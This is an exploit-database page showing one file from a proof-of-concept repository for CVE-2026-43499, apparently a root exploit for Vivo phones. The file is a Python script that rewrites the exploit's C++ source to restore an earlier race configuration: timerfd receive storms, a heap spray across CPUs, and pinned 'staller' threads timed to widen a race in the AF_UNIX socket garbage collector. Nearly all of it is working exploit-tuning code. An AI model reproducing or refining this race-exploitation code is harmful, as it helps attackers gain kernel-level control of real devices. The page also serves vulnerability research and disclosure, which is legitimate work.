Exploit database

GH-594a156883cbf863201dae6cf96323f3

zenyxx-xd/rootmyvivo-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files46
zenyxx-xd/rootmyvivo-exploitRevision 201ffc023401

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

afunix/tools/revert_recipe.py

Python · 7,496 bytes
s = open(r'C:\neo11\exploit\afunix\afunix.cc').read()

# 1. storms back
a = '#define NUM_TRIGGER_TIMERS       0    /* storms off: the 300-timerfd recv storm delays nanosleep wakes by ~11ms (measured), killing the stallers */'
b = '#define NUM_TRIGGER_TIMERS       200'
assert a in s; s = s.replace(a, b)
a = '#define NUM_RECV_TIMERS          0'
b = '#define NUM_RECV_TIMERS          300'
assert a in s; s = s.replace(a, b)

# 2. reader: normal nice again (the 3-event config)
a = '''    pin_cpu(1);
    /* Lowest priority: any staller wake (nice 0) then preempts this
     * in-kernel reader reliably (measured ~10% preemption success at
     * equal priority due to EEVDF wakeup semantics). */
    setpriority(PRIO_PROCESS, 0, 19);'''
b = '    pin_cpu(1);'
assert a in s; s = s.replace(a, b)

# 3. spray: all 8 CPUs again
a = '''    for (int c = 0; c < NUM_SPRAY_CPUS; c++) {
        if (c == 1) continue;  /* CPU1 belongs to the reader/staller/keeper:
                                * a nice-0 sprayer there delays the stallers'
                                * wakes by ms (EEVDF: no preemption between
                                * equal-nice tasks). */
        args[c].ctx = ctx;'''
b = '''    for (int c = 0; c < NUM_SPRAY_CPUS; c++) {
        args[c].ctx = ctx;'''
assert a in s; s = s.replace(a, b)

# 4. staller: single bursty staller (the 3-event recipe), drop the pack
a = '''/* A single staller preempts the in-kernel reader only ~11% of attempts
 * (the wake/deadline race against the reader's position); run several
 * with staggered wake offsets so at least one lands while the reader is
 * inside the syscall. Offsets are >=60us so the final busywait phase
 * (last 50us) does not starve the reader before its syscall entry. */
#define NUM_STALLERS         10
static const long g_staller_offsets[NUM_STALLERS] = {
    60000L, 70000L, 80000L, 90000L, 100000L, 120000L, 140000L, 160000L, 200000L, 250000L
};'''
b = '''/* Single bursty staller — the configuration that empirically produced
 * the confirmed undercount events: wake at peek+1us (the long-lead
 * nanosleep lands ~2.5ms late under the recv storm — that lateness IS
 * part of the recipe, putting the spin bursts right around the tail of
 * the storm-stretched get_file loop), then 10 bursts of 150us spin +
 * 100us sleep on the reader's CPU. */
#define STALL_BURSTS        10
#define STALL_SPIN_NS       150000L
#define STALL_GAP_NS        100000L'''
assert a in s; s = s.replace(a, b)

a = '''static void *staller_thread(void *arg) {
    struct staller_arg *sa = (struct staller_arg *)arg;
    exploit_ctx *ctx = sa->ctx;
    pin_cpu(1);

    while (!ctx->start_time_set.load()) cpu_relax();
    struct timespec wake_time = ctx->start_time;
    timespec_add_ns(&wake_time, ctx->gc_delay + g_peek_offset_ns + *sa->offset);

    /* A single long-lead nanosleep wakes ~2.7ms late on this platform
     * (measured; short leads wake in ~80us). Nap in 200us chunks, then
     * busywait the last <50us for a precise, on-time park. */
    struct timespec now;
    clock_gettime(CLOCK_MONOTONIC, &now);
    while (timespec_diff_ns(&wake_time, &now) > 50000L) {
        struct timespec nap = {0, 200000L};
        clock_nanosleep(CLOCK_MONOTONIC, 0, &nap, NULL);
        clock_gettime(CLOCK_MONOTONIC, &now);
    }
    wait_abs_time(&wake_time);
    {
        clock_gettime(CLOCK_MONOTONIC, &now);
        long late = timespec_diff_ns(&now, &wake_time);
        long prev = __atomic_load_n(&g_staller_max_late, __ATOMIC_RELAXED);
        while (late > prev &&
               !__atomic_compare_exchange_n(&g_staller_max_late, &prev, late,
                                            0, __ATOMIC_RELAXED, __ATOMIC_RELAXED))
            ;
    }
    busywait_ns(STALL_DURATION_NS);
    return NULL;
}'''
b = '''static void *staller_thread(void *arg) {
    exploit_ctx *ctx = (exploit_ctx *)arg;
    pin_cpu(1);

    while (!ctx->start_time_set.load()) cpu_relax();
    struct timespec wake_time = ctx->start_time;
    timespec_add_ns(&wake_time, ctx->gc_delay + g_peek_offset_ns + 1000L);

    clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake_time, NULL);
    {
        struct timespec now;
        clock_gettime(CLOCK_MONOTONIC, &now);
        long late = timespec_diff_ns(&now, &wake_time);
        long prev = __atomic_load_n(&g_staller_max_late, __ATOMIC_RELAXED);
        while (late > prev &&
               !__atomic_compare_exchange_n(&g_staller_max_late, &prev, late,
                                            0, __ATOMIC_RELAXED, __ATOMIC_RELAXED))
            ;
    }
    for (int i = 0; i < STALL_BURSTS; i++) {
        busywait_ns(STALL_SPIN_NS);
        struct timespec gap = {0, STALL_GAP_NS};
        clock_nanosleep(CLOCK_MONOTONIC, 0, &gap, NULL);
    }
    return NULL;
}'''
assert a in s; s = s.replace(a, b)

# 5. trigger_vuln_race: single staller, no keeper
a = '''static void trigger_vuln_race(exploit_ctx *ctx) {
    ctx->start_time_set.store(0);
    g_staller_max_late = -1;
    g_race_done = 0;

    pthread_t gc_handle, recv_handle, keeper_handle, stall_handles[NUM_STALLERS];
    struct staller_arg sargs[NUM_STALLERS];
    pthread_create(&keeper_handle, NULL, keeper_thread, NULL);
    pthread_create(&gc_handle,   NULL, race_gc_thread,   ctx);
    pthread_create(&recv_handle, NULL, race_recv_thread, ctx);
    for (int i = 0; i < NUM_STALLERS; i++) {
        sargs[i].ctx = ctx;
        sargs[i].offset = &g_staller_offsets[i];
        pthread_create(&stall_handles[i], NULL, staller_thread, &sargs[i]);
    }
    pthread_join(gc_handle, NULL);
    pthread_join(recv_handle, NULL);
    for (int i = 0; i < NUM_STALLERS; i++)
        pthread_join(stall_handles[i], NULL);
    g_race_done = 1;
    pthread_join(keeper_handle, NULL);
}'''
b = '''static void trigger_vuln_race(exploit_ctx *ctx) {
    ctx->start_time_set.store(0);
    g_staller_max_late = -1;

    pthread_t gc_handle, recv_handle, stall_handle;
    pthread_create(&gc_handle,   NULL, race_gc_thread,   ctx);
    pthread_create(&recv_handle, NULL, race_recv_thread, ctx);
    pthread_create(&stall_handle, NULL, staller_thread,  ctx);
    pthread_join(gc_handle, NULL);
    pthread_join(recv_handle, NULL);
    pthread_join(stall_handle, NULL);
}'''
assert a in s; s = s.replace(a, b)

# 6. drop the keeper + staller_arg struct
a = '''/* Keeper: a nice-19 busy thread on CPU1 for the whole race. Without it
 * CPU1 goes into a deep idle state while everyone sleeps and the
 * stallers' hrtimer wakes land 3-9ms late (measured staller_late), long
 * after the reader's get_file loop is over. The keeper keeps the CPU
 * out of idle; the nice-0 stallers then wake on time and preempt both
 * nice-19 threads instantly. */
static volatile int g_race_done;

static void *keeper_thread(void *arg) {
    (void)arg;
    pin_cpu(1);
    setpriority(PRIO_PROCESS, 0, 19);
    while (!g_race_done)
        cpu_relax();
    return NULL;
}

'''
assert a in s; s = s.replace(a, '')
a = '''static void *staller_thread(void *arg);

struct staller_arg {
    exploit_ctx *ctx;
    const long *offset;
};

/* Max observed'''
b = '''static void *staller_thread(void *arg);

/* Max observed'''
assert a in s; s = s.replace(a, b)

# 7. STALL_DURATION_NS define no longer used by the bursty staller
a = '#define STALL_DURATION_NS   2000000L  /* each staller spins 2ms; staggered offsets 60-250us */\n'
assert a in s; s = s.replace(a, '')

open(r'C:\neo11\exploit\afunix\afunix.cc', 'w').write(s)
print('OK: reverted to the 3-event recipe')